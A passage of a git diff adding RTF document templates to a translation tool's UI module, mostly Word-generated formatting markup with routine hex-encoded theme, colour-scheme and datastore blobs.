\trftsWidth1\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl +\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1008\clshdrawnil \cellx900\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\cltxlrtb\clftsWidth3\clwWidth2340\clshdrawnil \cellx3240\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth2520\clshdrawnil \cellx5760\clvertalt\clbrdrt\brdrs\brdrw10 +\clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1620\clshdrawnil \cellx7380\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\cltxlrtb\clftsWidth3\clwWidth1034\clshdrawnil \cellx8414\row }\pard \ltrpar\ql \li0\ri0\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid3936425 {\rtlch\fcs1 \af0 \ltrch\fcs0 \insrsid608150 +\par }{\*\themedata 504b030414000600080000002100828abc13fa0000001c020000130000005b436f6e74656e745f54797065735d2e786d6cac91cb6ac3301045f785fe83d0b6d8 +72ba28a5d8cea249777d2cd20f18e4b12d6a8f843409c9df77ecb850ba082d74231062ce997b55ae8fe3a00e1893f354e9555e6885647de3a8abf4fbee29bbd7 +2a3150038327acf409935ed7d757e5ee14302999a654e99e393c18936c8f23a4dc072479697d1c81e51a3b13c07e4087e6b628ee8cf5c4489cf1c4d075f92a0b +44d7a07a83c82f308ac7b0a0f0fbf90c2480980b58abc733615aa2d210c2e02cb04430076a7ee833dfb6ce62e3ed7e14693e8317d8cd0433bf5c60f53fea2fe7 +065bd80facb647e9e25c7fc421fd2ddb526b2e9373fed4bb902e182e97b7b461e6bfad3f010000ffff0300504b030414000600080000002100a5d6a7e7c00000 +00360100000b0000005f72656c732f2e72656c73848fcf6ac3300c87ef85bd83d17d51d2c31825762fa590432fa37d00e1287f68221bdb1bebdb4fc7060abb08 +84a4eff7a93dfeae8bf9e194e720169aaa06c3e2433fcb68e1763dbf7f82c985a4a725085b787086a37bdbb55fbc50d1a33ccd311ba548b63095120f88d94fbc +52ae4264d1c910d24a45db3462247fa791715fd71f989e19e0364cd3f51652d73760ae8fa8c9ffb3c330cc9e4fc17faf2ce545046e37944c69e462a1a82fe353 +bd90a865aad41ed0b5b8f9d6fd010000ffff0300504b0304140006000800000021006b799616830000008a0000001c0000007468656d652f7468656d652f7468 +656d654d616e616765722e786d6c0ccc4d0ac3201040e17da17790d93763bb284562b2cbaebbf600439c1a41c7a0d29fdbd7e5e38337cedf14d59b4b0d592c9c +070d8a65cd2e88b7f07c2ca71ba8da481cc52c6ce1c715e6e97818c9b48d13df49c873517d23d59085adb5dd20d6b52bd521ef2cdd5eb9246a3d8b4757e8d3f7 +29e245eb2b260a0238fd010000ffff0300504b030414000600080000002100c71c6d149c060000511b0000160000007468656d652f7468656d652f7468656d65 +312e786d6cec594d6f1b4518be23f11f467b6f6327761a4775aad8b11b68d346b15bd4e3783dde9d7a766735334eea1b6a8f484888827aa012e2c20101955a09 +24caaf49292a45ea5fe09d99ddf54ebc26491b4105f521f1ce3eeff7c7bc33be78e94ec4d03e1192f2b8e955cf573c44629f0f691c34bd1bfdeeb9350f4985e3 +21663c264d6f4aa47769e3fdf72ee27515928820a08fe53a6e7aa152c9fad292f46119cbf33c2131bc1b711161058f22581a0a7c007c23b6b45ca9ac2e4598c6 +1e8a71046caf8f46d427e8d9cfbfbcf8e681b79171ef3010112ba9177c267a9a3771480c7638ae6a849cca3613681fb3a6078286fca04fee280f312c15bc687a +15f3f196362e2ee1f59488a905b405baaef9a47429c170bc6c648a60900bad766b8d0b5b397f03606a1ed7e974da9d6acecf00b0ef83a5569722cf5a77addaca +781640f6eb3cef76a55ea9b9f802ff95399d1bad56abde4875b14c0dc87eadcde1d72aabb5cd65076f40165f9fc3d75a9bedf6aa8337208b5f9dc3772f34566b +2ede804246e3f11c5a07b4db4db9e7901167dba5f03580af5552f80c05d99067971631e2b15a946b11becd4517001ac8b0a23152d3848cb00f69dcc6d14050ac +05e075820b6fec922fe796b42c247d4113d5f43e4c3094c48cdfaba7dfbf7afa181dde7d7278f7a7c37bf70eeffe68193954db380e8a542fbffdeccf871fa33f +1e7ffdf2fe17e57859c4fff6c327cf7efdbc1c08e53353e7f9978f7e7ff2e8f9834f5f7c77bf04be29f0a008efd38848748d1ca03d1e8161c62baee664204e47 +d10f312d526cc681c431d6524af87754e8a0af4d314ba3e3e8d122ae076f0a681f65c0cb93db8ec2bd504c142d917c258c1ce00ee7acc545a917ae68590537f7 +2771502e5c4c8ab83d8cf7cb64b771ecc4b73349a06f6669e918de0e89a3e62ec3b1c201898942fa1d1f135262dd2d4a1dbfee505f70c9470adda2a88569a94b +fa74e064d38c689b4610976999cd106fc7373b37518bb332abb7c8be8b84aac0ac44f93e618e1b2fe389c25119cb3e8e58d1e157b10acb94ec4d855fc475a482 +48078471d4191229cb68ae0bb0b710f42b183a5669d877d834729142d17119cfab98f322728b8fdb218e92326c8fc66111fb811c438a62b4cb55197c87bb15a2 +9f210e385e18ee9b9438e13ebe1bdca081a3d22c41f49b89d0b18456ed74e088c67fd78e19857e6c73e0ecda3134c0e75f3d2cc9acb7b5116fc29e545609db47 +daef22dcd1a6dbe66248dffe9ebb8527f12e81349fdf78deb5dc772dd7fbcfb7dc45f57cd2463bebadd076f5dc6087623322470b27e41165aca7a68c5c956648 +96b04f0cbbb0a8e9ccf190e427a62484af695f777081c0860609ae3ea22aec85388101bbea6926814c590712255cc2c1ce2c97f2d67818d2953d16d6f581c1f6 +0389d50e1fdae515bd9c9d0b723666b709cce13313b4a2199c54d8ca85942998fd3ac2aa5aa9134bab1ad54cab73a4e526430ce74d83c5dc9b308020185bc0cb +ab7040d7a2e1608219196abfdbbd370b8b89c2598648867848d21869bbe763543541ca72c5dc0440ee94c4481ff28ef15a415a43b37d0369270952515c6d81b8 +2c7a6f12a52c836751d2757ba41c595c2c4e16a383a6d7a82fd73de4e3a4e98de04c0b5fa304a22ef5cc8759003743be1236ed8f2d6653e5b3683632c3dc22a8 +c23585f5fb9cc14e1f4884545b58863635ccab340558ac2559fd97ebe0d6b332c066fa6b68b1b206c9f0af69017e74434b4623e2ab62b00b2bda77f6316da57c +a288e885c303346013b18721fc3a55c19e21957035613a827e807b34ed6df3ca6dce69d1156faf0cceae639684386db7ba44b34ab67053c7b90ee6a9a01ed856 +aabb31eef4a698923f23538a69fc3f3345ef277053b032d411f0e11e5760a4ebb5e971a1420e5d2809a9df15303898de01d90277b1f01a920a6e93cd7f41f6f5 +7f5b739687296b38f0a93d1a2041613f52a1206417da92c9be639855d3bdcbb2642923935105756562d51e907dc2faba07aeeabddd4321a4bae926691b30b8a3 +f9e73ea7153408f49053ac37a787e47bafad817f7af2b1c50c46b97dd80c3499ff73154b76554b6fc8b3bdb768887e311bb36a595580b0c256d048cbfe355538 +e5566b3bd69cc5cbf54c3988e2bcc5b0980f4409dcf720fd07f63f2a7c464c1aeb0db5cff7a0b722f8a1413383b481ac3e67070fa41ba45d1cc0e064176d3269 +56d6b5e9e8a4bd966dd6673ce9e6728f385b6b7692789fd2d9f970e68a736af12c9d9d7ad8f1b55d5be86a88ecd11285a5517690318131bf69157f75e283db10 +e82db8df9f30254d32c16f4a02c3e8d9337500c56f251ad28dbf000000ffff0300504b0304140006000800000021000dd1909fb60000001b0100002700000074 +68656d652f7468656d652f5f72656c732f7468656d654d616e616765722e786d6c2e72656c73848f4d0ac2301484f78277086f6fd3ba109126dd88d0add40384 +e4350d363f2451eced0dae2c082e8761be9969bb979dc9136332de3168aa1a083ae995719ac16db8ec8e4052164e89d93b64b060828e6f37ed1567914b284d26 +2452282e3198720e274a939cd08a54f980ae38a38f56e422a3a641c8bbd048f7757da0f19b017cc524bd62107bd5001996509affb3fd381a89672f1f165dfe51 +4173d9850528a2c6cce0239baa4c04ca5bbabac4df000000ffff0300504b01022d0014000600080000002100828abc13fa0000001c0200001300000000000000 +000000000000000000005b436f6e74656e745f54797065735d2e786d6c504b01022d0014000600080000002100a5d6a7e7c0000000360100000b000000000000 +000000000000002b0100005f72656c732f2e72656c73504b01022d00140006000800000021006b799616830000008a0000001c00000000000000000000000000 +140200007468656d652f7468656d652f7468656d654d616e616765722e786d6c504b01022d0014000600080000002100c71c6d149c060000511b000016000000 +00000000000000000000d10200007468656d652f7468656d652f7468656d65312e786d6c504b01022d00140006000800000021000dd1909fb60000001b010000 +2700000000000000000000000000a10900007468656d652f7468656d652f5f72656c732f7468656d654d616e616765722e786d6c2e72656c73504b050600000000050005005d0100009c0a00000000} +{\*\colorschememapping 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d3822207374616e64616c6f6e653d22796573223f3e0d0a3c613a636c724d +617020786d6c6e733a613d22687474703a2f2f736368656d61732e6f70656e786d6c666f726d6174732e6f72672f64726177696e676d6c2f323030362f6d6169 +6e22206267313d226c743122207478313d22646b3122206267323d226c743222207478323d22646b322220616363656e74313d22616363656e74312220616363 +656e74323d22616363656e74322220616363656e74333d22616363656e74332220616363656e74343d22616363656e74342220616363656e74353d22616363656e74352220616363656e74363d22616363656e74362220686c696e6b3d22686c696e6b2220666f6c486c696e6b3d22666f6c486c696e6b222f3e} +{\*\latentstyles\lsdstimax267\lsdlockeddef0\lsdsemihiddendef1\lsdunhideuseddef1\lsdqformatdef0\lsdprioritydef99{\lsdlockedexcept \lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority0 \lsdlocked0 Normal; +\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority9 \lsdlocked0 heading 1;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 2;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 3;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 4; +\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 5;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 6;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 7;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 8;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 9; +\lsdpriority39 \lsdlocked0 toc 1;\lsdpriority39 \lsdlocked0 toc 2;\lsdpriority39 \lsdlocked0 toc 3;\lsdpriority39 \lsdlocked0 toc 4;\lsdpriority39 \lsdlocked0 toc 5;\lsdpriority39 \lsdlocked0 toc 6;\lsdpriority39 \lsdlocked0 toc 7; +\lsdpriority39 \lsdlocked0 toc 8;\lsdpriority39 \lsdlocked0 toc 9;\lsdqformat1 \lsdpriority35 \lsdlocked0 caption;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority10 \lsdlocked0 Title;\lsdpriority1 \lsdlocked0 Default Paragraph Font; +\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority11 \lsdlocked0 Subtitle;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority22 \lsdlocked0 Strong;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority20 \lsdlocked0 Emphasis; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority59 \lsdlocked0 Table Grid;\lsdunhideused0 \lsdlocked0 Placeholder Text;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority1 \lsdlocked0 No Spacing; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading;\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 1; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 1; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 1;\lsdunhideused0 \lsdlocked0 Revision; +\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority34 \lsdlocked0 List Paragraph;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority29 \lsdlocked0 Quote;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority30 \lsdlocked0 Intense Quote; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 1; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 1; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 2; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 2; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 2; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 2; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 2; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 3; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 3; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 3; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 3; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 3; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 4; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 4; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 4; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 4; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 5; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 5; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 5; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 5; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 5; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 6; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 6; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 6; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 6; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 6; +\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority19 \lsdlocked0 Subtle Emphasis;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority21 \lsdlocked0 Intense Emphasis; +\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority31 \lsdlocked0 Subtle Reference;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority32 \lsdlocked0 Intense Reference; +\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority33 \lsdlocked0 Book Title;\lsdpriority37 \lsdlocked0 Bibliography;\lsdqformat1 \lsdpriority39 \lsdlocked0 TOC Heading;}}{\*\datastore 010500000200000018000000 +4d73786d6c322e534158584d4c5265616465722e352e3000000000000000000000060000 +d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff090006000000000000000000000001000000010000000000000000100000feffffff00000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +fffffffffffffffffdfffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffffffffffffec69d9888b8b3d4c859eaf6cd158be0f000000000000000000000000603e +c5466bb6cd01feffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000105000000000000}} \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.rtf/models/model_with_status.rtf b/ts/net.heartsome.cat.ts.ui.rtf/models/model_with_status.rtf new file mode 100644 index 0000000..c6f4013 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/models/model_with_status.rtf @@ -0,0 +1,79 @@ +{\rtf1\ansi\ansicpg936\uc2\deff0\stshfdbch13\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe2052{\fonttbl{\f0\froman\fcharset134\fprq2{\*\panose 02020603050405020304}Times New Roman;} +{\f13\fnil\fcharset134\fprq2{\*\panose 02010600030101010101}\'cb\'ce\'cc\'e5{\*\falt SimSun};}{\f35\fswiss\fcharset134\fprq2{\*\panose 00000000000000000000}Tahoma;}{\f36\fnil\fcharset134\fprq2{\*\panose 00000000000000000000}@\'cb\'ce\'cc\'e5;} +{\f38\froman\fcharset238\fprq2 Times New Roman CE;}{\f39\froman\fcharset204\fprq2 Times New Roman Cyr;}{\f41\froman\fcharset161\fprq2 Times New Roman Greek;}{\f42\froman\fcharset162\fprq2 Times New Roman Tur;} +{\f43\froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\f44\froman\fcharset178\fprq2 Times New Roman (Arabic);}{\f45\froman\fcharset186\fprq2 Times New Roman Baltic;}{\f46\froman\fcharset163\fprq2 Times New Roman (Vietnamese);} +{\f170\fnil\fcharset134\fprq2 SimSun Western{\*\falt SimSun};}{\f388\fswiss\fcharset238\fprq2 Tahoma CE;}{\f389\fswiss\fcharset204\fprq2 Tahoma Cyr;}{\f391\fswiss\fcharset161\fprq2 Tahoma Greek;}{\f392\fswiss\fcharset162\fprq2 Tahoma Tur;} +{\f393\fswiss\fcharset177\fprq2 Tahoma (Hebrew);}{\f394\fswiss\fcharset178\fprq2 Tahoma (Arabic);}{\f395\fswiss\fcharset186\fprq2 Tahoma Baltic;}{\f396\fswiss\fcharset163\fprq2 Tahoma (Vietnamese);}{\f397\fswiss\fcharset222\fprq2 Tahoma (Thai);} +{\f400\fnil\fcharset134\fprq2 @\'cb\'ce\'cc\'e5 Western;}}{\colortbl;\red0\green0\blue0;\red0\green0\blue255;\red0\green255\blue255;\red0\green255\blue0;\red255\green0\blue255;\red255\green0\blue0;\red255\green255\blue0;\red255\green255\blue255; +\red0\green0\blue128;\red0\green128\blue128;\red0\green128\blue0;\red128\green0\blue128;\red128\green0\blue0;\red128\green128\blue0;\red128\green128\blue128;\red192\green192\blue192;\red255\green255\blue255;\red250\green191\blue143;}{\stylesheet{ +\qj \li0\ri0\nowidctlpar\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \fs21\lang1033\langfe2052\kerning2\loch\f0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 \snext0 Normal;}{\*\cs10 \additive \ssemihidden Default Paragraph Font;}{\* +\ts11\tsrowd\trftsWidthB3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tscellwidthfts0\tsvertalt\tsbrdrt\tsbrdrl\tsbrdrb\tsbrdrr\tsbrdrdgl\tsbrdrdgr\tsbrdrh\tsbrdrv +\ql \li0\ri0\widctlpar\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \fs20\lang1024\langfe1024\loch\f0\hich\af0\dbch\af13\cgrid\langnp1024\langfenp1024 \snext11 \ssemihidden Normal Table;}{\*\ts15\tsrowd\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 +\trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 